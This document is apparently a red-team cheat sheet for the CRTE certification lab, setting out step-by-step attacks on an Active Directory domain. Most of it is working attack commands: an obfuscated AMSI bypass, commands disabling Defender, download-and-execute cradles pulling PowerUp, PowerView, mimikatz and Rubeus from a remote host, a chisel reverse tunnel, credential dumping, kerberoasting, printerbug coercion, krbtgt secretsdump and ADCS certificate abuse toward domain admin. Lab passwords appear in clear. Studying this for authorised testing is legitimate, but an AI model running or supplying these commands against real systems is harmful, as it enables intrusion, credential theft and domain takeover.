CRTE - Certified Red Team Expert
- Amsi bypass - PowerUp - Disabilitare firewall e Defender - Chisel
xfreerdp /u:studentuser /p:'password' /v:192.168.100.19:3389 /h:1080 /w:1920 /floatbar /smart-sizing -grab-keyboard +drive:shared,./shared
S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
iex (iwr http://host/powerup.ps1 -UseBasicParsing)
Invoke-AllChecks
Invoke-ServiceAbuse -Name ALG -UserName us\studentuserx -Verbose
Set-MPPreference -DisableRealTimeMonitoring $true
Set-MPPreference -DisableIOAVProtection $true
Set-MPPreference -DisableIntrusionPreventionSystem $true
/t/chisel64 server -p 4437 --reverse
iwr http://host/chisel.exe -outfile chisel.exe
.\chisel.exe client 192.168.99.19:4437 R:8880:socks
- bloodhound.py
sock bloodhound-python -dc dbvendor.local. -ns 192.168.23.1 -d dbvendor.local -u db19svc -p 'Password123!' --dns-tcp --dns-timeout 10
- kerberoasting
sock GetUserSPNs.py us.techcorp.local/studentuser:password -target-domain eu.local -outputfile kerberoast_eu.local
hashcat kerberoast_eu.local adtools/kerberoast/10k-worst-pass.txt
Once you have access to a normal machine:
- mimikatz logonpasswords, vault cred
iwr http://host/elara_pe_win64.exe -outfile elara_pe_win64.exe
.\elara_pe_win64.exe http://host/mimikatz.exe privilege::debug sekurlsa::logonpasswords sekurlsa::ekeys '""lsadump::lsa /patch""' '""lsadump::trust /patch""' vault::cred exit
- check if user has access to other machines
sock nxc smb hosts -u user -p pass
iex (iwr http://host/powerview.ps1 -UseBasicParsing)
Find-LocalAdminAccess -Verbose
- enumerate file system
cd c:\
dir
cd c:\users\user
tree /F
- enumerate local certificate store
certutil -store My
- check if any ACL has been missed by bloodhound
iex (iwr http://host/powerview.ps1 -UseBasicParsing)
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "managers"}
# to get more details
Get-DomainObjectAcl -Identity machineadmins -ResolveGUIDs | ForEach-Object {$_ | Add-Member NoteProperty 'IdentityName' $(Convert-SidToName $_.SecurityIdentifier);$_} | ?{$_.IdentityName -match 'managers'}
Enumeration:
- Enumerate laps
sock nxc ldap DC_HOST -d DOMAIN -u USER -p PASSWORD --module laps
sock nxc ldap DC_HOST -d DOMAIN -u USER -p PASSWORD --module laps -O computer="us-d*"
- Enumerate gMSA
Get-DomainObject -LDAPFilter '(objectClass=msDS-GroupManagedServiceAccount)'
sock bloodyAD --host 192.168.1.2 -u studentuser19 -p 'sP8wEmrK4BK2XzGv' -d us.techcorp.local get search --filter '(objectClass=msDS-GroupManagedServiceAccount)'
# check for msDS-GroupMSAMembership.ACL.Trustee to see who can read the password
sock nxc ldap us-dc -u provisioningsvc -p 'T0OverseethegMSAaccounts!!' --gmsa
- Enumerate domains in the forest
iex (iwr http://host/powerview.ps1 -UseBasicParsing)
Get-ForestDomain
- Enumerate trusts for the domain
Get-DomainTrust
Get-DomainTrust -Domain techcorp.local
- Enumerate trusts for the forest
Get-ForestTrust
- Enumerate external trusts
Get-ForestDomain -Verbose | Get-DomainTrust | ?{$_.TrustAttributes -eq 'FILTER_SIDS'}
In a bi-directional trust or Inbound one-way trust from eu.local to us.techcorp.local, we can extract information from the eu.local forest
Get-ForestTrust -Forest eu.local
- Enumerate machines trusted for unconstrained delegation
Get-DomainComputer -UnConstrained
If there are machine and once pwned, you can extract tickets with sekurlsa::tickets if already present or force the domain controller to authenticate with printerbug
iwr http://host/Loader.exe -outfile Loader.exe
set-variable -name Pwn -Value monitor
.\Loader.exe -Path http://host/Rubeus.exe -args $Pwn /interval:5
sock python printerbug.py us.techcorp.local/webmaster:'0wnerOftheIntraNetz!'@us-dc us-web
# you can also request authentication from the parent domain DC @techcorp-dc.techcorp.local (page 96)
base64 -d us-dc.ccache.b64 > us-dc.ccache.kirbi
ticketConverter.py ~/crte/us-dc.ccache.kirbi ~/crte/us-dc.ccache
KRB5CCNAME='us-dc.ccache' sock nxc smb us-dc --use-kcache
KRB5CCNAME='/home/chdoge/crte/us-dc.ccache' sock secretsdump.py us-dc.us.techcorp.local -k -no-pass -just-dc-user us/krbtgt
If TGT Delegation is enabled across forests trusts, we can abuse the printer bug across two-way forest trusts as well.
You can find TGT delegation status on bloodhound if you enumerated the other forest or check notes from the labs.
Assume it is enabled
- Enumerate machines trusted for constrained delegation
Get-DomainUser –TrustedToAuth
Get-DomainComputer –TrustedToAuth
Assume Protocol transition is enabled for now
sock getST.py -spn CIFS/us-mssql.us.techcorp.local -impersonate Administrator us.techcorp.local/appsvc:'Us$rT0AccessDBwithImpersonation' #-altservice HTTP
# both http and cifs work with secretsdump
KRB5CCNAME='Administrator@[email protected]' sock secretsdump.py us.techcorp.local/[email protected] -k -no-pass
- Enumerate ADCS
certutil -config - -ping
sock nxc ldap 192.168.1.2 -u studentuser19 -p sP8wEmrK4BK2XzGv -M adcs -o BASE_DN=DC=techcorp,DC=local
sock certipy-ad find -u '[email protected]' -p 'sP8wEmrK4BK2XzGv' -dc-ip 192.168.1.2 -old-bloodhound
sock certipy-ad req -u "[email protected]" -hashes 36ea28bfa97a992b5e85bd22485e8d52 -dc-ip 192.168.1.2 -target Techcorp-DC.techcorp.local -target-ip 192.168.1.1 -ca 'TECHCORP-DC-CA' -template 'ForAdminsofPrivilegedAccessWorkstations' -upn 'Administrator' -debug # it is important to set target ip to make it work
sock certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.1.2 -username Administrator -domain us.techcorp.local
# you can also become enterprise admin, gotta investigate the reason
sock certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.1.1 -username Administrator -domain techcorp.local
KRB5CCNAME='administrator.ccache' sock nxc smb us-dc -u 'Administrator' --use-kcache
- Enumerate where Azure AD Connect is installed
sock bloodyAD --host 192.168.1.1 -u studentuser19 -p 'sP8wEmrK4BK2XzGv' -d us.techcorp.local get search --filter '(samAccountName=MSOL_*)' --attr distinguishedName,description
dump creds with logonpasswords
.\elara_win64.exe pe -i http://student19:8000/mimikatz.exe -b dG9rZW46OmVsZXZhdGUgcHJpdmlsZWdlOjpkZWJ1ZyBzZWt1cmxzYTo6bG9nb25wYXNzd29yZHMgZXhpdA==
then dcsync
elevate from child to domain using child trust key or krbtgt the trust key is equivalent to the hash of the user TECHCORP$ (techcorp.local domain) or US$ (us.techcorp.local domain)
one you gain access to another forest, don't forget to run all checks again, including kerberoastable users
Enumerate SQL access
iew (iwr http://host/PowerupSQL.psd1 -UseBasicParsing)
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
Trust
Intra-Forest Cross-Domain Trust Abuse (Different Domains inside the Same Forest). Do we have DA privileges on a domain INSIDE the forest?
- YES -> We can elevate our privileges to EA using the following methods:
- Abusing Parent-Child Trust Relationship to forge an Inter-Realm Golden Ticket. We need the
krbtgt
credentials of the compromised domain. - Abusing the Trust Keys to forge an Inter-Realm Golden Ticket. We need the
targetdomain$
credentials of the compromised domain. - Abusing the KUD of the compromised domain’s DC (or other machine with similar privileges) and coercing the target domain’s DC to authenticate to it using
PrinterBug
to steal the TGT of the target DC’s machine account.
- Abusing Parent-Child Trust Relationship to forge an Inter-Realm Golden Ticket. We need the
- NO
- Use
Get-DomainForeignUser
to find whether any user from our domain has access into other groups in the forest. - Use
Get-DomainForeignGroupMember -Domain OTHER.DOMAIN
to see if groups in those other forest domains had "incoming" access. - Kerberoasting
- Use
Inter-Forest Cross-Domain Attack (Different Domains in Different Forests)
- Bidirectional Inter-Forest Cross-Domain Attack (
FOREST_TRANSITIVE
,Bidirectional
)- In that specific case, THE FOREST IS NOT A SECURITY BOUNDARY.
- We may be able to abuse the KUD of the compromised domain’s DC (or other machine with similar privileges) and coercing the target domain’s DC to authenticate to it using
PrinterBug
to steal the TGT of the target DC’s machine account.
- Bidirectional Inter-Forest Cross-Domain Attack with Fully Implemented SID Filtering (
FILTER_SIDS
,Bidirectional
)- Enumerate for Local Group Membership on individual servers
- Enumerate for Foreign Security Principals on the target domain
- Enumerate for Foreign ACL Principals
powershellFind-InterestingDomainAcl -ResolveGUIDs -Domain dbvendor.local
- Kerberoasting
- One-Way Inter-Forest Cross-Domain Attack (
FOREST_TRANSITIVE
,Inbound
)- Enumerate for Local Group Membership on individual servers.
- Enumerate for Foreign Security Principals on the target domain:
- Enumerate for Foreign ACL Principals:
- Kerberoasting
- Bidirectional External Cross-Domain Attack with SID Filtering (
TREAT_AS_EXTERNAL,FOREST_TRANSITIVE
,Bidirectional
)- Enumerate for Local Group Membership on individual servers
- Enumerate for Foreign Security Principals on the target domain
- Enumerate for Foreign ACL Principals:
- Kerberoasting
- Find Interesting Domain Groups with
SID-extention>1000
that could be used forSID History
injection, in order to obtain the privileges of that group on the target domain. In order to abuse that, we will need thetargetdomain$
credentials of the compromised domain.
powershellGet-ADGroup -Filter 'SID -ge "S-1-5-21-4066061358-3942393892-617142613-1000"' -Server euvendor.local # sid of target domain
- Bastion Forests
- Look for a way to compromise the Bastion (Red) forest in order to easily gain access over all the managed Production forests.
powershellGet-ADObject -LDAPFilter '(objectClass=foreignSecurityPrincipal)' -Server bastion-dc.bastion.local -Domain bastion.local Get-ADGroup -Filter * -Properties Member -Server bastion.local | ?{$_.Member -match 'S-1-5-21-2781415573-3701854478-2406986946-500'}
bashGet-DomainGroup -LDAPFilter '(member=CN=S-1-5-21-2781415573-3701854478-2406986946-500,CN=ForeignSecurityPrincipals,DC=bastion,DC=local)'
- Check if there is a PAM trust PAM resource
powershellGet-ADTrust -Filter {(ForestTransitive -eq $True) -and (SIDFilteringQuarantined -eq $False)}
bashGet-DomainTrust
- Check which users are memeber of the shadow principals
powershellif any user is member of prodforest-ShadowEnterpriseAdmin you're gucci$bastiondc = New-PSSession bastion-dc.bastion.local Get-ADObject -SearchBase 'CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=bastion,DC=local'
Persistance
- Golden ticket
- dcsync rights to user